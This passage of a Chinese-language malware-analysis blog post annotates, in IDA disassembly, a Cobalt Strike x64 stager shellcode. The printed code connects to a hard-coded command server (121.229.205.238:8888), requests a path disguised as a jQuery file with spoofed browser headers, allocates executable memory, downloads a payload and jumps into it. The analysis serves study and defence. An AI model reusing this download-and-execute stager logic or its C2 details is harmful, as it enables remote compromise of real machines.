[rsp + 0x40] = h;  // hex(0x38+0x8) = 0x40,h 需要最先压栈

跟进 sub_109,内容如下。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
seg000:0000000000000109 ; =============== S U B R O U T I N E =======================================
seg000:0000000000000109
seg000:0000000000000109 ; 从 0x0107 处,通过 jmp 及 call 等指令,一路跳转到这里 sub_109。
seg000:0000000000000109 ; jmp loc_17C -> jmp loc_365 -> call sub_109。
seg000:0000000000000109 ; call sub_109 指令,会将返回地址(0x36A地址)(C2字符串地址)压入栈中。
seg000:0000000000000109 ; pop rdx指令,返回地址(0x36A地址)指向的不是“代码逻辑”,而是 "121.229.205.238\0",第 2 个参数 rdx 被设置为 C2 字符串地址。
seg000:0000000000000109 ;
seg000:0000000000000109 ; 寄存器(关键):
seg000:0000000000000109 ; rax = InternetOpenA 返回的 HINTERNET 会话句柄 hInternet。
seg000:0000000000000109 ; rbp = resolver 解析器(0x0A地址)
seg000:0000000000000109
seg000:0000000000000109 sub_109         proc near               
seg000:0000000000000109    pop     rdx
seg000:000000000000010A    mov     rcx, rax        ; rax = hInternet(InternetOpenA 返回)。
                                                   ; 此时,第 1 参数 rcx 位置 = rax = InternetOpenA 返回的句柄 hInternet
seg000:000000000000010D    mov     r8d, 8888       ; 设置第 3 参数, r8 = 端口号 8888。
seg000:0000000000000113    xor     r9, r9          ; 设置第 4 个参数,r9 寄存器清零。
seg000:0000000000000116    push    r9              ; 设置第 8 个参数,stack: 0 -> dwContext
seg000:0000000000000118    push    r9              ; 设置第 7 个参数,stack: 0 -> dwFlags
seg000:000000000000011A    push    3               ; 设置第 6 个参数,stack: 3 -> dwService
seg000:000000000000011C    push    r9              ; 设置第 5 个参数,stack: 0 -> lpszPassword
seg000:000000000000011E    mov     r10d, 0C69F8957h ; 目标 API Hash
seg000:0000000000000124    call    rbp              ; rcx = hInternet 句柄
                                                    ; rdx = return_address(实际是字符串地址 -> C2地址)
                                                    ; r8  = 8888
                                                    ; r9  = 0
                                                    ;
                                                    ; InternetConnectA(
                                                    ;     hInternet,        // rcx
                                                    ;     lpszServerName,   // rdx
                                                    ;     8888,             // r8 (nServerPort)
                                                    ;     NULL,             // r9 (lpszUserName)
                                                    ;     NULL,             // stack (lpszPassword)
                                                    ;     3,                // stack (dwService)
                                                    ;     0,                // stack (dwFlags)
                                                    ;     0                 // stack (dwContext)
                                                    ; );
seg000:0000000000000126    jmp     short loc_181   ; 进入下一阶段(HTTP 请求构造)
seg000:0000000000000126 sub_109         endp

跟进 short loc_181,默认情况下,IDA显示如下。

image-20260406203306997

这里最关键的是 call sub_128 指令,该指令会将返回地址(0x186地址)(内嵌URL路径+Headers字符串地址)压入栈中,并跳转进入函数执行。

需注意的是,call传入的返回地址内容,并不是“用于控制流的返回地址”,而是后面构造 HTTP 请求函数时的一个参数内容,rbx = 指向内嵌数据(内嵌URL路径+Headers字符串地址)。

针对识别错的内容,我们需要先选中 按U 取消识别(如果右击提示可以直接 按A 设置字符串的话,也可直接设置字符串)。

image-20260406204146442

再手动鼠标选择一直到 \0 的行,再 按A 设置字符串。

image-20260406204329980 image-20260406205030488

上面说返回地址(0x186地址)是内嵌URL路径+Headers字符串地址。本质就是该地址索引了两部分数据。第一部分:0x186 地址,就是 URL路径(/jquery-3.3.2.slim.min.js)的位置。第二部分,在 sub_128 中,还使用了 hex(0x0186+0x50) = 0x1D6 地址(sub_128+20: add rbx, 50h处),这部分就是Headers字符串(User-Agent)的内容。

可以在 0x1D0 处开始,先选中识别错误的内容,然后 按U 取消识别。

image-20260406210227989

然后再从 0x1D6 处开始,手动鼠标选择一直到 \0 的行,再 按A 设置字符串。

image-20260406212231549 image-20260406212321611

这样两部分待使用的字符串内容就识别出来了。

跟进 sub_128,内容如下。

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
seg000:0000000000000128 ; =============== S U B R O U T I N E =======================================
seg000:0000000000000128
seg000:0000000000000128 ; call sub_128 指令,会将返回地址(0x186地址)(内嵌URL路径+Headers字符串地址)压入栈中。
seg000:0000000000000128 ; pop rbx指令,返回地址(0x186地址)指向的不是“代码逻辑”,而是内嵌URL路径+Headers字符串地址
seg000:0000000000000128 ;
seg000:0000000000000128 ; 寄存器(关键):
seg000:0000000000000128 ; rax = InternetConnectA 返回的 HINTERNET 连接句柄 hConnect。
seg000:0000000000000128 ; rbp = resolver 解析器(0x0A地址)
seg000:0000000000000128
seg000:0000000000000128 sub_128         proc near          
seg000:0000000000000128    pop     rbx
seg000:0000000000000129    mov     rcx, rax        ; rax = hInternet(InternetConnectA 返回)。
                                                   ; 此时,第 1 参数 rcx 位置 = rax = InternetConnectA 返回的句柄 hConnect
seg000:000000000000012C    xor     rdx, rdx        ; 设置第 2 个参数,rdx = 0
seg000:000000000000012F    mov     r8, rbx         ; 设置第 3 参数,r8 = rbx = 内嵌URL路径+Headers字符串地址。
                                                   ; 这里到\0终止符就是URL路径字符串部分,/jquery-3.3.2.slim.min.js
seg000:0000000000000132    xor     r9, r9          ; 设置第 4 参数,r9 寄存器清零。
seg000:0000000000000135    push    rdx             ; 设置第 8 个参数,stack: 0 -> dwContext
seg000:0000000000000136    push    0FFFFFFFF84400200h ; 设置第 7 个参数,stack: 0x84400200 -> dwFlags
                                                   ; (0xFFFFFFFF84400200 这里高 32 位是符号扩展,真正有意义的是低 32 位 0x84400200)
seg000:000000000000013B    push    rdx             ; 设置第 6 个参数,stack: 0 -> lplpszAcceptTypes
seg000:000000000000013C    push    rdx             ; 设置第 5 个参数,stack: 0 -> lpszReferrer
seg000:000000000000013D    mov     r10d, 3B2E55EBh ; 目标 API Hash
seg000:0000000000000143    call    rbp             ; 创建一个 HTTP request 对象/句柄。
                                                   ; HttpOpenRequestA(
                                                   ;     hConnect,                  // rcx
                                                   ;     NULL,                      // rdx  -> lpszVerb
                                                   ;     /jquery-3.3.2.slim.min.js, // r8   -> lpszObjectName
                                                   ;     NULL,                      // r9   -> lpszVersion
                                                   ;     NULL,                      // 第5参数 -> lpszReferrer
                                                   ;     NULL,                      // 第6参数 -> lplpszAcceptTypes
                                                   ;     0x84400200,                // 第7参数 -> dwFlags
                                                   ;     0                          // 第8参数 -> dwContext
                                                   ; );
seg000:0000000000000145    mov     rsi, rax        ; rsi = hRequest。
                                                   ; 把 HttpOpenRequestA 创建出来的请求句柄(hRequest)保存起来,后面继续用。
seg000:0000000000000148    add     rbx, 50h ; 'P'  ; rbx 原先直接指向 内嵌URL路径+Headers字符串地址
                                                   ; rbx = hex(0x0186+0x50) = 0x1D6, 此时 rbx 指向 Headers字符串(User-Agent)("Accept: text/html,...") 部分
seg000:000000000000014C    push    0Ah
seg000:000000000000014E    pop     rdi             ; 设置 rdi = 10。(重试次数10次)
                                                   ; 准备循环调用“发送请求”类 API(比如 HttpSendRequestA)。
seg000:000000000000014F
seg000:000000000000014F loc_14F:                 
seg000:000000000000014F    mov     rcx, rsi        ; 此时,第 1 参数 rcx 位置 = rsi = HttpOpenRequestA 返回的句柄 hRequest
seg000:0000000000000152    mov     rdx, rbx        ; 设置第 2 个参数,rdx = Headers 字符串(User-Agent)地址
seg000:0000000000000155    mov     r8, 0FFFFFFFFFFFFFFFFh ; 设置第 3 参数,r8 = 0FFFFFFFFFFFFFFFFh = -1。字符串长度参数传 -1,表示按 \0 自动计算长度。
seg000:000000000000015C    xor     r9, r9          ; 设置第 4 参数,r9 寄存器清零。
seg000:000000000000015F    push    rdx             ; 设置第 5 个参数,Headers 字符串(User-Agent)地址。
seg000:0000000000000160    push    rdx             ; 设置第 6 个参数,Headers 字符串(User-Agent)地址。
seg000:0000000000000161    mov     r10d, 7B18062Dh ; 函数 API Hash
seg000:0000000000000167    call    rbp             ; 把这个 request 对象真正发出去。
                                                   ; 语义上:这是“发送 HTTP 请求”的阶段;形态上:很像 HttpSendRequestA;但仅凭这两次 push rdx,还不能把原型 100% 钉死
                                                   ;
                                                   ; HttpSendRequestA(
                                                   ;     hRequest,         // rcx -> hRequest
                                                   ;     lpszHeaders,      // rdx -> Headers 字符串(User-Agent)地址
                                                   ;     dwHeadersLength,  // r8 -> -1 (表示按\0自动计算)
                                                   ;     lpOptional,       // r9- > NULL
                                                   ;     dwOptionalLength  // 第 5 参数通常应该是一个长度值,比如 0,而不是 headers 指针。
                                                   ; );
seg000:0000000000000169    test    eax, eax
seg000:000000000000016B    jnz     loc_30E         ; eax != 0,HttpSendRequestA 调用成功,跳到 loc_30E。进行下一阶段
seg000:0000000000000171    dec     rdi             ; rdi = rdi - 1。
seg000:0000000000000174    jz      loc_306         ; 如果减到 0,重试次数用完,跳失败路径 loc_306
seg000:000000000000017A    jmp     short loc_14F   ; eax = 0,且 edi 未减到0,就重新循环执行 loc_14F 代码。
seg000:000000000000017C ; ---------------------------------------------------------------------------
seg000:000000000000017C
seg000:000000000000017C loc_17C:                               
seg000:000000000000017C    jmp     loc_365         ; call sub_109函数
                                                   ; 会将返回地址(0x36A地址)(内嵌C2字符串地址)压入栈中,并跳转进入函数执行。
                                                   ; 需注意的是,这里的 rdx 不是“返回地址用于控制流”,而是 rdx = 指向内嵌数据(C2字符串)。
                                                   ; E8 9F FD FF FF   → call sub_109
seg000:0000000000000181 ; ---------------------------------------------------------------------------
seg000:0000000000000181
seg000:0000000000000181 loc_181:                                
seg000:0000000000000181    call    sub_128         ; call sub_128函数
                                                   ; 会将返回地址(0x186地址)(内嵌URL路径+Headers字符串地址)压入栈中,并跳转进入函数执行。
                                                   ; 需注意的是,这里的 rbx 不是“返回地址用于控制流”,而是 rbx = 指向内嵌数据(内嵌URL路径+Headers字符串地址)。  
                                                   ; 手动鼠标选择一直到\0的行,再右键设置字符串(按A)
seg000:0000000000000181 ; ---------------------------------------------------------------------------
seg000:0000000000000186 aJquery332SlimM db '/jquery-3.3.2.slim.min.js',0
seg000:00000000000001A0                 db 0B1h
seg000:00000000000001A1                 db    1
seg000:00000000000001A2                 dw 0B4E9h, 7D1Bh, 0EB24h
seg000:00000000000001A8                 db    2
seg000:00000000000001A9                 db  47h ; G
seg000:00000000000001AA                 db  4Fh ; O
seg000:00000000000001AB                 db 7Fh, 21h, 0DFh, 16h, 0D5h
seg000:00000000000001B0                 db  13h
seg000:00000000000001B1                 db 0EAh, 0Dh, 9, 0FDh, 0FAh, 14h, 0C1h
seg000:00000000000001B8                 db 0ABh
seg000:00000000000001B9                 db 84h, 0D8h, 0DEh, 6Ah, 1Fh, 7, 7Fh
seg000:00000000000001C0                 db 0A7h
seg000:00000000000001C1                 db 0Ah, 2Eh, 58h, 2Dh, 0C7h, 55h, 0EAh
seg000:00000000000001C8                 db 0E4h
seg000:00000000000001C9                 db 6Bh, 0ABh, 69h, 0FBh, 21h, 23h, 0C8h
seg000:00000000000001D0                 db  54h ; T
seg000:00000000000001D1                 db 0B9h
seg000:00000000000001D2                 db  55h ; U
seg000:00000000000001D3                 db 0E8h
seg000:00000000000001D4                 db 0D1h
seg000:00000000000001D5                 db    0
seg000:00000000000001D6 aAcceptTextHtml db 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*'
seg000:0000000000000217                 db ';q=0.8',0Dh,0Ah
seg000:000000000000021F                 db 'Accept-Language: en-US,en;q=0.5',0Dh,0Ah
seg000:0000000000000240                 db 'Referer: http://code.jquery.com/',0Dh,0Ah
seg000:0000000000000262                 db 'Accept-Encoding: gzip, deflate',0Dh,0Ah
seg000:0000000000000282                 db 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit'
seg000:00000000000002C3                 db '/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/13'
seg000:0000000000000304                 db '9',0
seg000:0000000000000306 ; ---------------------------------------------------------------------------
seg000:0000000000000306
seg000:0000000000000306 loc_306:                                
seg000:0000000000000306                                         
seg000:0000000000000306    mov     r14d, 56A2B5F0h ; 如果 rdi 减到 0,重试次数用完,跳失败路径 loc_306
seg000:000000000000030C    call    rbp             ; 触发异常
seg000:000000000000030E
seg000:000000000000030E loc_30E:                                
seg000:000000000000030E    xor     rcx, rcx        ; HttpSendRequestA 调用成功,跳到 loc_30E。
                                                   ; 前置状态:
                                                   ; rsi = hRequest 前面保存的请求句柄
                                                   ; rbx = Headers 字符串(User-Agent)地址
                                                   ; rbp = resolver
                                                   ; 设置第 1 个参数,rcx = 0,lpAddress = NULL
seg000:0000000000000311    mov     edx, 400000h    ; 设置第 2 个参数,edx = 0x40000h,dwSize = 0x400000
seg000:0000000000000311                                         ; 注意这里写的是 edx,在 x64 下会把 rdx 高 32 位清零。
seg000:0000000000000316    mov     r8d, 1000h      ; 设置第 3 参数,r8 = 0x1000,flAllocationType = MEM_COMMIT
seg000:000000000000031C    mov     r9d, 40h ; '@'  ; 设置第 4 参数,r9 = 0x40,flProtect = PAGE_EXECUTE_READWRITE
seg000:0000000000000322    mov     r10d, 0E553A458h ; 函数 API Hash
seg000:0000000000000328    call    rbp             ; VirtualAlloc(
                                                   ;     NULL,        // rcx -> lpAddress
                                                   ;     0x400000,    // rdx -> dwSize
                                                   ;     0x1000,      // r8  -> flAllocationType = MEM_COMMIT
                                                   ;     0x40         // r9  -> flProtect = PAGE_EXECUTE_READWRITE
                                                   ; );
seg000:000000000000032A    xchg    rax, rbx        ; 把新申请到的内存地址(alloc_base)放进 rbx。(xchg:交换两个寄存器的值)
seg000:000000000000032C    push    rbx
seg000:000000000000032D    push    rbx
seg000:000000000000032E    mov     rdi, rsp        ; push ebx, push rbx, mov edi,rsp 这 3 句不要按“普通参数”去理解,重点是构造一个可写内存地址。
                                                   ; 类似于在栈上准备一个“读了多少字节”的输出变量。类似 WinINet 里 LPDWORD lpdwNumberOfBytesRead
                                                   ; 两个 push,连续压入两个 8 字节值,栈顶现在有两份 alloc_base。
                                                   ; mov rdi, rsp,使 rdi = rsp,所以现在 rdi 指向栈顶那一格内存。
seg000:0000000000000331
seg000:0000000000000331 loc_331:                                
seg000:0000000000000331    mov     rcx, rsi        ; 设置第 1 个参数,rcx = hRequest 前面保存的请求句柄
seg000:0000000000000334    mov     rdx, rbx        ; 设置第 2 个参数,rdx = Virtual 开辟的缓冲区地址(alloc_base)
seg000:0000000000000337    mov     r8d, 2000h      ; 设置第 3 参数,r8 = 2000h,每次最多读取 0x2000 字节
seg000:000000000000033D    mov     r9, rdi         ; 设置第 4 参数,r9 = rdi = 指向栈顶那一格内存
seg000:0000000000000340    mov     r10d, 0E2899612h ; 函数 API Hash
seg000:0000000000000346    call    rbp             ; InternetReadFile(
                                                   ;     hRequest,     // rcx -> hFile
                                                   ;     buffer,       // rdx -> lpBuffer
                                                   ;     0x2000,       // r8 -> dwNumberOfBytesToRead
                                                   ;     &bytesRead    // r9 -> lpdwNumberOfBytesRead
                                                   ; );
seg000:0000000000000348    add     rsp, 20h        ; 堆栈平衡(手工回收这 0x20 字节)。
seg000:0000000000000348                                         ; 每次 call rbp,resolver 自己还会在尾部再做一次:sub rsp, 20h。
seg000:000000000000034C    test    eax, eax
seg000:000000000000034E    jz      short loc_306   ; eax = 0,InternetReadFile 函数读取数据失败,跳转失败路径 loc_306
seg000:0000000000000350    mov     ax, [rdi]       ; 从 rdi 指向的位置(lpdwNumberOfBytesRead)取出“本次读取字节数”(ax的16位大小)。
seg000:0000000000000350                                         ; 如果真是 InternetReadFile 的 lpdwNumberOfBytesRead,按标准原型它本该写 32 位 DWORD。但这段 shellcode 这里只取低 16 位来用。
seg000:0000000000000353    add     rbx, rax        ; 执行前,rbx = 当前写入位置(alloc_base)
                                                   ; 执行后,rbx = rbx + bytesRead_low16
                                                   ; 把写指针往后推进,准备下次继续读的内容写到后面。
seg000:0000000000000356    test    eax, eax
seg000:0000000000000358    jnz     short loc_331   ; 这里虽然前面只写了 ax,但 eax 的低 16 位已经更新,用它判断“本次读取量是否为 0”。
                                                   ; 如果读到的字节数不为 0,说明还没结束,继续 loc_331 进行下一轮读取。
                                                   ; bytesRead != 0 -> 继续读
                                                   ; bytesRead == 0 -> 说明读到 EOF / 数据结束,退出循环
seg000:000000000000035A    pop     rax
seg000:000000000000035B    pop     rax
seg000:000000000000035C    pop     rax             ; 连续三次 pop rax,作用不是“恢复业务寄存器”,而是在一路弹栈回到更早之前压进去的地址/值。
                                                   ; 到第三次 pop rax 后,rax 很可能拿到的是:某个之前压栈保存的代码/数据相关地址、而不是前面网络读取得到的值。
seg000:000000000000035D    add     rax, 0FAFh      ; 把这个基地址往后偏移 0xFAF,得到一个新的目标地址
seg000:0000000000000363    push    rax
seg000:0000000000000364    retn                    ; push rax 把目标地址压成“返回地址”。
                                                   ; retn 直接弹它到 rip。
                                                   ; 两句连起来相当于 jmp rax。最终效果就是,跳到 base + 0xFAF 这个位置执行
seg000:0000000000000365 ; ---------------------------------------------------------------------------
seg000:0000000000000365
seg000:0000000000000365 loc_365:                                ; CODE XREF: sub_128:loc_17C↑j
seg000:0000000000000365    call    sub_109
seg000:0000000000000365 sub_128         endp ; sp-analysis failed
seg000:0000000000000365

至此,Cobalt Strike 生成的 Stager 类型的 Shellcode 分析完成。

这段 Shellcode 只是完成了从 Cobalt Strike 的 Server 上下载代码执行的功能,真正的恶意代码后续还需要接着分析。

参考1:CS-Shellcode分析系列 第一课

参考2:CS-Shellcode分析系列 第二课

参考3:CS-Shellcode分析系列 第三课

updatedupdated2026-04-072026-04-07